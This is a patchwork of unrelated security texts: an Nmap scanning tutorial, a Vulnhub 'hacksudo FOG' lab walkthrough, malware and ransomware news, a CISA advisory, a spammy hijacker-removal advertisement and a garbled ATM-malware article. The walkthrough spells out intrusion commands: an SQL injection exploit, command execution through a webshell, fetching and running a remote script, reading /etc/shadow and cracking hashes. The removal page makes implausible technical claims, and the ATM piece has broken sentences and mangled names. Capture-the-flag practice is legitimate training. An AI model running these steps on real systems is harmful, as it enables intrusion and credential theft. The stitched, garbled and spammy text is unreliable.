TCP establishes first exchanges setup information between a client and a serve. Data can flow bidirectionally, once a connection is established, UDP is a connectionless Internet Protocol. UDP does not need to exchange setup information between a client and a server to establish a connection. UDP can send a message from one endpoint to another without prior arrangement. As mentioned above, from an application layer perspective, client and servers communicate via virtual ports. The Transmission Control Protocol (TCP) is the language they use to establish a Connection oriented conversation across an Internet Protocol (IP) network. TCP allows one side (i.e., the client) to request that a connection be established and the other side (i.e., the server) to accept the request and setup a connection or not. As mentioned above, from an application layer perspective, the side that makes the request is the client, and the side that accepts the request and or not is the server. In this client-server example, the TCP Three-Way Handshake begins when a client sends a TCP segment with the SYN control bit flag set to the server. This is the first step in a TCP Three-Way Handshake. Based on the RFC 793, if a server port is open and listening to the server is able it will respond with an SYN/ACK (i.e., Request-Acknowledgment), acknowledging that it has received the request and is ready to connect. This is the second step in a TCP Three-Way Handshake. Next, the client responds with an ACK (i.e., Request-Confirmation) and the connection is established. If the server port is closed and not listening, it sends an RST (reset) to the client. These are the basics of a TCP Three-Way Handshake. There are three basic Nmap port scanning techniques. The first is called the TCP SYN scan. The second is called the TCP connect scan. The third is called the UDP scan. From a penetration testing perspective, the purpose of these scans is to identify which ports are open and services are running a target system (In our case Metasploitable), to gather as much information as possible to be utilized when penetrating the target during the vulnerability assessment and exploitation phases. Nmap TCP SYN Scan (-sS) This is the default and most popular Nmap scan. It is called the half-open scan because it only completes the first two steps of the TCP Three-Way Handshake (See above). Nmap sends a TCP segment with the SYN control bit flag set to the target to request a connection. Based on the RFC, if the target’s port is open (i.e., listening) it responds with an SYN/ACK, or if it is closed an RST (reset). Either way, Nmap does not send the final ACK to establish a connection to complete the TCP Three-Way Handshake. Finally, if no response is received, Nmap marks the port as filtered. The Nmap TCP SYN scan is fast and more “stealthy” than other scanning methods since it does not complete the TCP Three-Way Handshake and establish a connection. Nmap TCP Connect Scan (-sT) According to Fyodor, the TCP connect scan is the default TCP scan type when SYN scan is not an option. Nmap’s TCP Connect Scan (-sT) is a full-connection scan, meaning that it completes the TCP 3-Way Handshake (SYN,SYN-ACK,ACK). This is the case when a user does not have raw packet privileges or is scanning IPv6 networks. When SYN scan is available, it is usually a better choice (“Port Scanning Techniques,” n.d.). Nmap UDP Scan (-sU) The most popular Internet services run over the TCP, services that use UDP are also in use (e.g., DNS Port 53 UDP). Many security professional or auditors ignore these ports. NOTE: Security Scanning Rule #1: Do not scan networks or hosts you do not have implicit permission to scan. We recommend that you seek legal advice from an attorney before doing security scanning. Proceed at your own risk. The Scanme.Nmap.Org run by Nmap has setup a server to help folks learn about Nmap. According to Fyodor “You are authorized to scan this machine with Nmap or other port scanners. Try not to hammer on the server too hard. A few scans in a day is fine, but don’t scan 100 times a day or use this site to test your ssh brute-force password cracking tool” (“scanme.nmap.org,” n.d.). First, I run an Nmap TCP SYN Scan (-sS). But because we are working as a non-privilege user I do not have raw packet privileges, I am not allowed to run the scan: $ nmap -T4 -sS <target> So I use sudo to run Nmap with root privileges. To learn sudo see my blog post “How to Configure Kali Linux sudo Access”: $ sudo nmap -T4 -sS <target> Figure 2: Nmap TCP SYN Scan By default Nmap scan the top 1000 ports for each protocol (“Port Specification,” n.d.), which are specified in the nmap-services file. According to Fyodor “This file was originally based off the IANA assigned ports list at http://www.iana.org/assignments/port-numbers, though many other ports have been added over the years. The IANA does not track trojans, worms and the like, yet discovering them is important for many Nmap users” (“Well Known Port List,” n.d.) I open Wireshark to capture the traffic. First, we see a TCP segment with the SYN control bit flag set to 1 from my Kali box to scame.nmap.org IP address 22.214.171.124 to destination port 1. Because port 1 is closed, scame.nmap.org IP address 126.96.36.199 responds with a RST: But since port 22 is open we see SYN, SYN-ACK, RST and Nmap records the port as open and service as SSH (See Figure 2 above): Second, I run an Nmap TCP Connect Scan (-sT): Third, I run an Nmap UDP scan and find more open ports and services: Note: -T4 is one of Nmap’s timing options. If you are on a decent broadband network and stealth (e.g., low slow scanning) Fyodor recommends using T4 (“Timing,” n.d.). Finally, I turn our attention to the Metasploitable target. We combine the the TCP SYN scan and the UDP scan options and add the port specification option to make sure we scan all ports (“Port Specification,” n.d.). I issue this command (“Option summary,” n.d): $ sudo nmap -n -T4 -sS -sU -r p1-65535 <target> Then option instructs Nmap not to resolve DNS. The -T4 option tells Nmap to use Aggressive timing. The -sS asks Nmap to use the SYN Scan for TCP. The -sU option instructs Nmap to scan for UDP. The -r option tells Nmap to scan the ports in order (rather than randomly which it Nmap’s default). The -p option asks Nmap to scan all 65535 ports. Below are the TCP and UDP ports we find open and the services listening on Metasploitable 2. This scan took 18 hours: About the Author David Zwickl, MSci., CISSP, CEH, has spent over 20 years in information assurance and cybersecurity for companies such as RSA Security and Cisco Systems in a variety of roles. Dave holds a Master’s degree in Information Assurance with a Cybersecurity Specialization from Regis University in Denver Colorado. Regis University’s School of Computer & Information Sciences, designated as a National Center of Excellence in Information Systems Security Education (CAE/IAE) by the National Security Agency (NSA) and the Department of Homeland Security (DHS). Dave is active in industry associations ISSA, OWASP, CSA, among others. Intelligence gathering. (n.d.). Retrieved October 14th, 2017 from http://www.pentest-standard.org/index.php/Intelligence_Gathering Port scanning basics. (n.d.). Retrieved October 14th, 2017 from https://nmap.org/book/man-port-scanning-basics.html Port scanning techniques. (n.d.). Retrieved October 14th, 2017 https://nmap.org/book/man-port-scanning-techniques.html Port specification and scan order. (n.d.). Retrieved October 14th, 2017 https://nmap.org/book/man-port-specification.html Pre-engagement. (n.d.). Retrieved October 14th, 2017 from http://www.pentest-standard.org/index.php/Pre-engagement Options summary. (n.d.). Retrieved October 15th, 2017 from https://nmap.org/book/man-briefoptions.html scanme.nmap.org. (n.d.). Retrieved October 14th, 2017 from http://scanme.nmap.org/ Service name and transport protocol port number registry. Retrieved October 14th, 2017 from https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml Timing and Performance. (n.d.). Retrieved October 14th, 2017 from https://nmap.org/book/man-performance.html Well known port list: nmap-services. (n.d.). Retrieved October 14th, 2017 from https://nmap.org/book/nmap-services.html
In this post, I am going to do the walkthrough of the machine hacksudo FOG from Vulnhub by Vishal Waghmare. Machine Link: https://www.vulnhub.com/entry/hacksudo-fog,697/ I began with netdiscover and then nmap. sudo netdiscover -i eth0 -r 10.0.2.1/24 nmap -v -T4 -p- -sC -sV --min-rate=1000 10.0.2.17 So, I we have telnet, ssh, http, https and mysql services open. I would like to see what the website offers. We have a piece of information that suggests some secret message might be hidden in an audio file. So, I will download the video file shown in the source, for enumeration later. Also, the comment says caesar cipher. Hence, I believe there is some text which is encoded by this technique. Meanwhile, I will do gobuster to enumerate files. gobuster dir -u http://10.0.2.17 -x html,txt,php --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt The initial enumeration shows there is a dict.txt and a /cms path and I will visit both of the paths. There is a dictionary list and a CMSMadeSimple CMS website. After some time I also found another path in the enumeration called /fog. Then, I opened the path but it’s empty. Subsequently, I looked into the exploitdb for the cms and there is an unauthenticated SQL injection for versions <2.2.10. Likewise, to identify the version of the cms, I am going to use whatweb. The version is 2.2.5 and it too suffers from unauthenticated SQL injection. https://www.exploit-db.com/exploits/46635. However, the code is in python2 format. So, I have changed it to python3. python3 46635.py -u http://10.0.2.17/cms Although the exploit says unauthenticated, I think it’s not the case. And, the only thing that I found useful was the username which I could use to crack passwords in different services. Previously, we had found a dict.txt file that contained the candidates for password. I downloaded all the files to my local machine and tried opening all. Unfortunately, the zip file is password protected. On the other hand, the zip contains a wav file which might contain the secret information. Now, I will crack the password using john the ripper. zip2john secr3tSteg.zip \| tee hash john hash --wordlist=/home/kali/rockyou.txt After this, I will clone the github repo and try running the binary. git clone https://github.com/hacksudo/SoundStegno.git cd SoundStegno python3 ExWave.py -f ../hacksudoSTEGNO.wav I found a caesar cipher which I could decode from a website. Caesar Cipher - Shift by 3 DEFGHIJKLMNOPQRSTUVWXYZABC ABCDEFGHIJKLMNOPQRSTUVWXYZ XYZABCDEFGHIJKLMNOPQRSTUVW ABCDEFGHIJKLMNOPQRSTUVWXYZ wwww.localhost/fog Username=fog:password=hacksudoISRO Finally, we got the credentials for CMS. On an upload directory, we found a rcefile.txt whose mime-type is X-PHP. The code contains a command from which we could inject bash commands using the get parameter cmd. Hence, I am going to change the extension of the file. I copied the file using the copy feature of the file manager. From now, I can execute remote commands from the get parameter. e.g. http://10.0.2.17/cms/uploads/rce.php?cmd=ls -al The source file includes proper formatting. So, we can now upload our webshell and execute it. However, it looks like the uploading of php extension isn’t allowed. Therefore, I have to change the extension to txt to allow upload. After upload, I could simply change the extension to PHP as we saw in the previous example. Finally, I got the reverse shell and did some extra work for getting good pty shell. stty columns 173 rows 43 cd /var/www ls -al cat flag2.txt cat /etc/passwd \| grep bash Identify suid binaries cd /tmp wget https://raw.githubusercontent.com/Anon-Exploiter/SUID3NUM/master/suid3num.py --no-check-certificate && chmod 777 suid3num.py ./suid3num.py I decided to read the shadow file. LFILE=/etc/shadow /usr/bin/look '' "$LFILE" I copied the hash of the user isro to a new file in local machine and ran john the ripper. john hash --wordlist=/home/kali/rockyou.txt I switched to the user isro and got the flag. su isro cd ls -al cat user.txt sudo -l reveals that the user can execute ls command as root user. I looked up in the internet and I didn’t see any way to escalate privilege using ls. However, there is a directory fog which contains an binary with the same name. We can look up it’s content by using strings command. cd fog ls file fog strings fog It looks like we the application is run as root user. Now, by using the following command, we can switch to root. Now, we capture the root flag. cd /root cat root.txt
U.S. government cybersecurity experts are providing guidance on the “top 10” most commonly exploited vulnerabilites. The alert helps highlight the importance of patching and prioritizing vulnerabilities with known exploits. Security experts discovered LokiBot, a trojan malware, has been impersonating a popular game launcher. As a result, cybercriminals are able to trick users into downloading the fake app and executing the malware on their systems. Microsoft is warning about a malware spam campaign targeting an Office vulnerability patched in 2017. Trend Micro researchers discovered attackers are exploiting a previously patched Windows vulnerability (CVE-2017-11882) by abusing the Windows Installer service, msiexec.exe, to deliver LokiBot malware. A new Android banking malware dubbed LokiBot can trigger ransomware capabilities when a victim tries to remove the malware from their infected device. According to a Tripwire report , some of the additional features of LokiBot include the ability for attackers to read a victim’s SMS messages and also send out spam email to infect other users. The …
By Prasun Howli, Samit Khare, Kathryn Rock On May 17, 2022, the cybersecurity authorities1 of the United States, Canada, the Netherlands, New Zealand, and the UK published a joint cybersecurity advisory titled, “Weak Security Controls and Practices Routinely Exploited for Initial Access.”2 The advisory highlights the common techniques exploited by the malicious actors to gain initial access to the victim’s network and the common weaknesses in the control environment. Additionally, the advisory outlines some of the best practices that can be adopted to strengthen the control environment. This cybersecurity alert provides an overview of the advisory and the key areas above. The advisory stated that the common techniques used by the adversaries to gain unauthorized access to a victim’s internal environment include: Exploit public-facing application — An adversary can gain access by exploiting weaknesses on internet-facing applications, e.g., a design flaw in the external-facing website. External remote services — A bad actor can use compromised credentials to gain access using remote services such as a Virtual Private Network, Citrix3, etc. Phishing — Phishing is a technique to obtain legitimate access credentials using various methods such as social engineering or including a malicious attachment in electronic communication. Trusted relationship — A trusted third party or service provider can have legitimate access to the victim’s system, which can be exploited by malicious actors to gain access to the internal network. The advisory noted that some of the most common weaknesses are: Guidehouse has assisted numerous clients in assessing their cybersecurity and operationalizing compliance requirements using regulations, standards, and guidance issued by authorities and global data privacy regulations. We have supported our clients by: Complexity demands a trusted guide with the unique expertise and cross-sector versatility to deliver unwavering success. We work with organizations across regulated commercial and public sectors to catalyze transformation and pioneer new directions for the future.
New malware responsible for infecting MMO game developers and stealing third-party virtual currencies through a malicious application has been detected by the Slovak security company ESET. The unprecedented action was attributed to Winnti, a group of hackers that has been operating since 2009, responsible for hundreds of advanced attacks worldwide. This time, a backdoor never seen before was used, nicknamed by the agency as PipeMon. To circumvent any defenses, fake Windows-like signature certificates were developed. It is assumed that this was possible after an incident reported by Nfinity Games in 2018, in which it was found the theft of such documents belonging to the developer. PipeMon takes advantage of changes in the location of print processors, user-mode DLLs responsible for authorizing application actions, preventing their deactivation after reboots. With that, the malicious activities guaranteed its continuity. Unknown damage extent Little information was revealed about the case. The affected companies are known to include South Korean and Taiwanese developers with thousands of potentially affected MMO players. “There is at least one confirmed record, which may have led to a chain attack, allowing criminals to insert trojans into executables,” ESET said, raising suspicion of the group’s connection with the Chinese government. According to the agency, such attacks would be nothing more than tests carried out to improve larger objectives. Using fraudulent certificates was only the last example of previous movements, and, considering the number of developers in the countries mentioned, there is no way to determine the length of the years.
Even though the holidays are over in many countries, it has been a very quiet week for ransomware. Unfortunately, ransomware activity will likely pick up shortly. We also had victims, such as Dassault Jet and TransLink, disclosing data breaches after ransomware attacks earlier this year. Other than that, it was your standard release of new variants of existing ransomware. Contributors and those who provided new ransomware information and stories this week include: @Ionut_Ilascu, @demonslay335, @FourOctets, @Seifreed, @struppigel, @VK_Intel, @fwosar, @malwrhunterteam, @jorntvdw, @PolarToffee, @LawrenceAbrams, @BleepinComputer, @serghei, @malwareforme, @DanielGallagher, @siri_urz, @cPeterr, @PogoWasRight, @ValeryMarchive, @IntelAdvanced, @hyasinc, @CheckPointSW, @ProferoSec, @GelosSnake, @SecurityJoes, @vxunderground, @GrujaRS, @0x4143, and @Emm_ADC_Soft. January 2nd 2021 DataBreaches.net recently reported that Apex Laboratory Inc. had apparently been attacked by DoppelPaymer ransomware threat actors. Apex was added to their leak site on December 15. January 4th 2021 Metro Vancouver’s transportation agency TransLink has confirmed that the Egregor ransomware operators who breached its network at the beginning of December 2020 also accessed and potentially stole employees’ banking and social security information. Security researchers investigating a set of ransomware incidents at multiple companies discovered malware indicating that the attacks may be the work of a hacker group believed to operate on behalf of China. Yeah, this is real. Keeps you, uh, locked up unless you pay a ransom. GrujaRS found the new in-development Sharp ransomware that appends the .0x0M4R extension to encrypted files. January 5th 2021 It’s a new year, and with it comes a new ransomware called Babuk Locker that targets corporate victims in human-operated attacks. Healthcare organizations continue to be a prime target for cyberattacks of all kinds, with ransomware incidents, Ryuk in particular, being more prevalent. S!ri found a new MBRLocker calling itself Covid21. GrujaRS found a new HiddenTear variant that appends the .ZIEBF_4561drgf extension. GrujaRS found a new Makop ransomware variant that appends the .moloch extension. January 6th 2021 FOR YEARS, RADICAL transparency-focused activists like WikiLeaks have blurred the line between whistle-blowing and hacking. Often, they’ve published any data they consider to be of public interest, no matter how questionable the source. But now one leak-focused group is mining a controversial new vein of secrets: the massive caches of data stolen by ransomware crews and dumped online when victims refuse to pay. January 7th 2021 Security researchers following the money circuit from Ryuk ransomware victims into the threat actor’s pockets estimate that the criminal organization made at least $150 million. The US Federal Bureau of Investigation (FBI) has sent a security alert warning private sector companies that the Egregor ransomware operation is actively targeting and extorting businesses worldwide. 0x4143 found the new Solaso Ransomware that appends the .solaso extension and drops a ransom note named __READ_ME_TO_RECOVER_YOUR_FILES. It may be a variant of the ‘Encrp ransomware.’ January 8th 2021 Dassault Falcon Jet has disclosed a data breach that may have led to the exposure of personal information belonging to current and former employees, as well as their spouses and dependents. Emmanuel_ADC-Soft found the new Bonsoir Ransomware that appends the .bonsoir and drops a ransom note named HOW-RECOVER-MY-FILES.txt. S!ri found the new Niros Ransomware.
8. The secret for a better Wi-Fi One of the first things we do when moving to a new place – some of us even do it before decorating – is setting up the Wi-Fi. Hooking up those wireless internet routers seems easy enough, and most of us do it by ourselves, but there’s one thing we aren’t aware of: it’s always advised to change the default settings of the router. There’s more to it than most of us know: leaving the default settings on the router, rather than personalizing it, leaves it open for anyone using the same router, making it significantly easier for hackers and viruses to invade our network. What you need to do when setting a new router is reset the original password and create a new one.
Remove http://en.v9.com infection from your Windows PC / Laptop http://en.v9.com is categorized as risky browser hijacker which installed unknowingly. It propagates easily when one visits malicious websites. This browser hijacker replace your homepage without any information. It looks like a normal websites but in real way lots of threats are present in it. Once it execute into the system then you receive many annoying pop-ups advertisement and false message on your screen. Sometime this malware will completely change your desktop background and wallpaper or mess up the files. It records keystroke or gather details about the computer users. This infection gets distributed with hacked or unwanted sites or it remains hidden in the PC. Mostly it infects large number of system and also makes it unstable. So, it is highly essential to delete http://en.v9.com from your PC. It is a vicious browser hijacker which affect the web browser such as Google chrome, Internet explorer and opera. Its main purpose is to collect your personal information for marketing purpose. It always comes through peer to peer file sharing, free download, and email attachments. Every time it will redirect the user to malicious site and it uses email program to spread the threat to the system. . Due to this infection, severe damage occurs and it leads to crashing of system. So it is strongly recommended to remove http://en.v9.com immediately for your PC safe and clean. Remove “http://en.v9.com” which is really dangerous worm, It needs to be removed as soon as possible. Click the button to download software which removes http://en.v9.com completely. Download http://en.v9.com Removal Tool to automatically remove this dangerous infection from your Windows PC ASAP. Technical Description of http://en.v9.com http://en.v9.com, once it enters the host computer gets itself replicated to the other one using MS08-67 or (Microsoft Windows Server Service RPC Handling Remote Code Execution Vulnerability). In no time at all this particular infection spreads like a wild fire over the hard drive; thereby making it absolutely impossible to get rid of it at first instance. http://en.v9.com comes packed in a multi layer coding and is quite difficult for the antivirus so installed in the PC to analyze it properly. More often than not the antivirus is unable to detect it and the infection continues its malicious activities under its very nose. The infection breaks all the system emulators because it comes packed in double layers of obfuscating UPX. The cyber thugs have taken special care in enveloping the malware with multiple forms of encryption; thereby making it quite difficult to interpret at one go. The infection does not have a PE header file and it acts like an invalid executable application and hence it can never be written on the disk. The worst part about this threat is that it looks like a normal memory allocated page but in reality it is deterring the other executable process inside the PC. So it is very important that you remove http://en.v9.com as soon as possible from your Windows system. Possible Causes of http://en.v9.com Infection Virus and spyware writers across the globe are working round the clock to design and develop latest and severe threats that can wreck havoc inside the PC. http://en.v9.com is a very good example of the things so stated above. You will have no idea whatsoever as to when and how it booked a ticket for itself inside your system hard drive. There are many ways through which your PC can catch this infection; although some are more popular methods than others. Your Windows system can get infected with the aforesaid threat by 5 possible known reasons mentioned below: - if the system is not patched up with the latest security updates, then it is likely that the PC is vulnerable to virus attacks like http://en.v9.com. - weak administrator passwords often paves the way for malware like http://en.v9.com to gain entry to the system. Hackers use brute force techniques to gain system password and cause unwanted hassles to the user concerned. - autoplay feature being enabled in the system and when you insert any infected external storage device like pen drive, usb, memory card, memory stick, zip drive etc. - infection can also enter into the PC through unauthenticated sharing of files and folder especially through Bluetooth when activated inside the system. - watching movies, videos etc online and also playing online games from the untrusted or illegitimate websites can pave the way for http://en.v9.com to gain entry to PC. How to Know if PC is Infected with http://en.v9.com Ladies and gentleman this is the year 2013 and socially engineered (“easy to fool you”) computer viruses are making their way from a hackers workstation, into your cherished home computer and http://en.v9.com is a very good example of the same. When the system becomes infected with a virus, it is a nightmare for the user concerned. People don’t have the slightest idea as to how the infection perpetrated inside the hard drive without their least knowledge or understanding. There could be reasons responsible like no antivirus or outdated antivirus, weak firewall etc. Some of the common symptoms that can alert you of the presence of http://en.v9.com inside the hard drive of your Windows PC: - PC takes time to connect to antivirus related websites - you will not be able to update your Windows OS - autorun.inf files inside Recycle folder of the drive - unexpected and random restarting of the computer - task manager is indicating large amount of CPU usage - Printouts that you take are faulty and incorrect - you might receive emails that you don’t recall sending - broadband modem showing traffic activity when not in use - new programs that are installed gets deleted automatically - all of a sudden you receive more spam messages in inbox - DVD and CD ROM drives may not be detected in Windows - random playing of the sound from the computer speakers - Windows Security Center is no longer working There could be many other symptoms but you got to understand that you detect the important clues that could spell digital disaster to your PC. If you are experiencing anyone of the symptoms listed above, then you need to remove http://en.v9.com at the earliest. Always remember that ——— “It is Better to be Safe than Being Sorry” Click Below to Start Your Spyware & Virus Detection Tool http://en.v9.com Creates Malicious Files on Hard Drive After gaining entry into the Windows PC, http://en.v9.com generates a lot of malicious and other related files inside the hard drive like the ones mentioned below: - %AppData% http://en.v9.com - %Temp% refers to the Windows Temp folder - %AppData% refers to the current users Application Data folder. - %CommonAppData% refers to the Application Data folder for the All Users Profile. - %LocalAppData% refers to the current users Local settings Application Data folder. - %CommonAppData% refers to the Application Data folder in the All Users profile. http://en.v9.com also modifies the registry entries by altering the settings from the Windows Registry Editor. It creates a lot of malicious and some of them are mentioned below: These malicious files compromises with the overall settings and working of your Windows PC and conjures unnecessary hidden processes that are hard to detect. This in turn results in degrading system performance. If you are not serious and don’t remove http://en.v9.com, then you will have to pay heavily for the consequences that would commence in the coming days. Aftermath of http://en.v9.com Infection It is quite a difficult task to tell whether your Windows system has been compromised or not. Virus and spyware writers go in great length and depth to conceal the presence of the infection before the user finds that the damage is done. The same thing holds true for http://en.v9.com also. You will have no idea whatsoever how fast this threat wrecks havoc in a very small span of time. The malicious activities of http://en.v9.com are summarized under the following headings: 1. Computer is Speaking to Me: Unwanted pop ups and error messages becomes the order of the day. You will receive frustrating messages either while working on some applications or browsing the internet. Undue amount of advertising is done telling you that your PC is in great risk and you need protection for its Saviour. 2. Tortoise & Snail Running Faster than PC: You might experience that the overall speed and performance of your system has been compromised. Even the normal tasks like restarting and shutting of computer takes a hell lot of time, leave alone the heavy applications. You might also experience BSOD messages and random freezing of the PC. 3. Where Have my Files Gone? http://en.v9.com sometimes deletes all the important files and folders available on the desktop or in the system drives without your permission or consent. Important stuffs like bank statements, credit card details and other financial records cannot be accessed and the threat does this task deliberately to make you a victim of identity theft and steal all your money. 4. Oh .. My Antivirus is Disabled: Another typical characteristic of this particular threat is that it disables your antivirus and renders it useless. Your security system is no longer in use and therefore it paves the way for other threats like browser hijackers, adware or rogue antispyware to gain entry to your PC and cause further hassles. 5. My PC Has Gone Mad Literally: You might experience strange sounds out of the blue moon from your computer speakers. At times you find that your desktop background has been changed to something like an insect eating a worm or like that. Internet sessions open sporadically on their own and library files for running applications or games have disappeared on their own. http://en.v9.com Denies Access to Legitimate Websites Computer threats are something that a PC user show be aware of because the whole data is at stake. It is quite difficult to live happily with a virus sitting inside the PC. A new variant of the infection in the form of http://en.v9.com has been detected in the internet hub lately and it has been casting sorrows worldwide because of its severity. The worst part about the threat is that it hijacks your browser setting. The malware does not allow you to open antivirus related websites and every time you try to do so, you are either being redirected to some other websites or the browser crashes on its own. Below mentioned are some of the keywords that http://en.v9.com uses in order to restrict accessibility to the website domains that might assist you in getting rid of the infection from your PC: The malware escapes detection to the normal eyes by scrambling or encrypting the codes. This threat is self replicating in nature and contains a “PAYLOAD”. Just like a missile does to the warhead, the payload programmed inside http://en.v9.com causes all sorts of problems inside the hard drive thereby making it a dumb box. So in all likelihood it is imperative on the user’s perspective to get hold of the infection and remove it ASAP. http://en.v9.com: Modifies System Security Settings The first and foremost thing this threat does is terminate the NtQueryInformationProcess from the ntdll.dll in Windows Registry Editor. After that depending upon the computer name, the threat creates a Mutex name and injects itself to processes like svchost.exe and explorer.exe. HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL\”CheckedValue” = “0” registry key is modified so as to hide the malicious files and its attributes. After that it executes “netsh interface tcp set global autotuninglevel=disabled” command that disables the auto tuning of the Windows PC. http://en.v9.com replicates itself and generates one or more copy of itself at one of the following locations on the system hard drive: - %Temp%\[Random Name].dll - %System32%\[Random Name].dll - %Program Files%\Movie Maker\[Random Name].dll - %Program Files%\Internet Explorer\[Random Name].dll This particular threat enumerates all the existing ADMIN users from the available networks and connects to any one of the users that has a weak password. Actually this malware does a dictionary attack on the passwords and some of the examples are mentioned below: http://en.v9.com Manual Removal for Internet Explorer - Open IE and then go to Tools >> Manage Add Ons - Click on Toolbars and Extension - Uninstall All Programs Related to http://en.v9.com - Select ‘Search Providers’ and click on ‘Disable Suggestions’ - From Tools >> Internet Options, select General tab - Enter “Google.com” or any site as default homepage - Click on “OK” to save the settings http://en.v9.com Manual Removal for Mozilla Firefox - Open the browser and go to Tools >> Add On - Choose “Extensions” >> http://en.v9.com and uninstall - Reset homepage from Tools >> Options - Change the homepage to Google.com http://en.v9.com Manual Removal for Google Chrome - Open Chrome and click on Customize icon - Select Options and select “Basic” - Change the homepage to Google.com - Click on “Manage Search Engines” - Choose Google as default search engine Get Rid of http://en.v9.com with http://en.v9.com Removal Tool If you are completely frustrated by malware infection in your PC. Don’t be panic, here we provide Automatic Removal Tool to uninstall malware and protect your PC. This software is designed by experts by using special technique, advanced algorithm that highly boost up the software. The software is user friendly so, it is easily used by novice also. The software having special and advanced feature that is helpful to remove virus. Scanner:- Software will also provide a demo scan version. Just a simple click on scan button will help you to scan you system memory, registry and cookies in few minutes. It will show the list of malware infected files. Help Desk:- Software having feature that is help desk. Here we provide a interface between the customer and experts. The customer ask all queries related to the software and experts satiesfied customer to solve their all issues. Facilities such as online chat with expert, emails, telephonic are available at help desk. Network Sentry:- It is specially designed for you to complete control over your system network settings. Network Sentry monitors, reports and displays site faults, maintain and download the site configuration data and archives and reports site call activity data. Compatible:- The main thing is that it is compatible with all the operating system of Windows such as Windows XP, Windows Vista,Windows NT , Windows 8 and all. The software is very simple, it is easily used by any novice. System Guard:- It act as a guard that automatically block malicious program from executing and block all the way through which it can enter in your PC. Back-Up:- It also provide backup facility to the user. You can easily restore, if any file accidentally delete by the software. User Guide to Run http://en.v9.com Removal Tool The very first step is to download and install the tool. It will take few second to install and then you are able to access the software interface. You have to click on the “scan computer” button and the software will start making search for the http://en.v9.com in your systems. In this step, http://en.v9.com Removal Tool scans the hard drive to locate the virus infected items. All the scanned threats are shown in a thumbnail format as displayed with description that how severely the items are infected. A built in feature known as “Spyware Removal Tool HelpDesk” is available with this software. With the help of this feature you can get complete information related to the malware and the spyware which you encountered in the system. In the forth step “System Guard” is used in order to stop the entrance of all vicious items into your system and thus preventing your PC from future malware and threat attacks.
1. EXECUTIVE SUMMARY - CVSS v3 6.3 - ATTENTION: Low attack complexity - Vendor: EnOcean Edge Inc, a subsidiary of EnOcean GmbH - Equipment: SmartServer with i.LON Vision - Vulnerability: Use of Hard-coded Credentials 2. RISK EVALUATION Successful exploitation of this vulnerability could allow an attacker to gain unauthorized access to the servers. 3. TECHNICAL DETAILS 3.1 AFFECTED PRODUCTS The following EnOcean Edge products are affected: - EnOcean SmartServer: v2.2 SR8/SP8 (4.12.006) with i.LON Vision v2.2 SR8/SP8 (4.12.006) 3.2 VULNERABILITY OVERVIEW 3.2.1 USE OF HARD-CODED CREDENTIALS CWE-798 The affected product, Echelon SmartServer 2.2 with i.LON Vision 2.2, stores cleartext credentials in a file, which could allow an attacker to obtain cleartext usernames and passwords of the SmartServer. If the attacker obtains the file, then the credentials could be used to control the web user interface and file transfer protocol (FTP) server. CVE-2022-3089 has been assigned to this vulnerability. A CVSS v3 base score of 6.3 has been calculated; the CVSS vector string is (AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:H). - CRITICAL INFRASTRUCTURE SECTORS: Information Technology - COUNTRIES/AREAS DEPLOYED: Worldwide - COMPANY HEADQUARTERS LOCATION: United States Chizuru Toyama of Trend Micro reported this vulnerability to CISA. EnOcean Edge released SmartServer 3.5 Update 2 (v3.52.003). For additional mitigations and workarounds, users should refer to EnOcean’s hardening guide. CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures. CISA also provides a section for control systems security recommended practices on the ICS webpage at cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies. Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies. Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents. No known public exploits specifically target this vulnerability. This vulnerability is not exploitable remotely.
New ATM malware stock dubbed fix has been observed targeting Mexican banks since early February 2023. “ATM malware is hidden inside another seemingly harmless program,” says Latin American cybersecurity firm Metabase Q. Said In a report shared with The Hacker News. Windows-based ATM malware not only requires interaction via an external keyboard, but is vendor agnostic and capable of infecting any teller machine it supports. CEN/XFS (short for eXtensions for Financial Services). The exact method of intrusion remains unknown, but Metabase Q’s Dan Regalado told The Hacker News that it’s likely that “the attacker found a way to interact with the ATM via the touchscreen.” . FiXS is also said to resemble another strain. ATM malware Code name Plutus This allowed cybercriminals to use external keyboards or withdraw cash from ATMs. Sending SMS messages. One of the notable features of FixS is that 30 minutes after the ATM’s last reboot, Windows GetTickCount API. of sample Data analyzed by Metabase Q dropper known as Nesta (conhost.exe), file infection virus It is coded in Delphi and was first seen in 2003. “FiXS is implemented with the CEN XFS API and can run on almost any Windows-based ATM with very little adjustment. ripper“The way FixS interacts with criminals is through an external keyboard.” With this development, FixS is the latest in a long list of malware such as: PlutusPrex, Successful, green dispenserRipper, Alice, ATMitch, Skimmerand ATMii Targeting ATMs to siphon money. Discover the latest malware evasion tactics and defense strategies Ready to demystify the 9 most dangerous misconceptions about file-based attacks? Join our upcoming webinar and become a hero in the fight against patient zero infections and zero-day security events! Pilex then evolved into a modular point-of-sale (PoS) malware that carried out credit card fraud in a variety of ways, including blocking contactless payment transactions. “Cybercriminals who compromise networks have the same end goal as those who carry out attacks through physical access: distributing cash.” Trend Micro Said A detailed report on ATM malware published in September 2017. “But instead of manually installing malware into an ATM via USB or CD, criminals don’t have to go to the machine anymore. They have a standby money mule to pick up the cash and run away.”
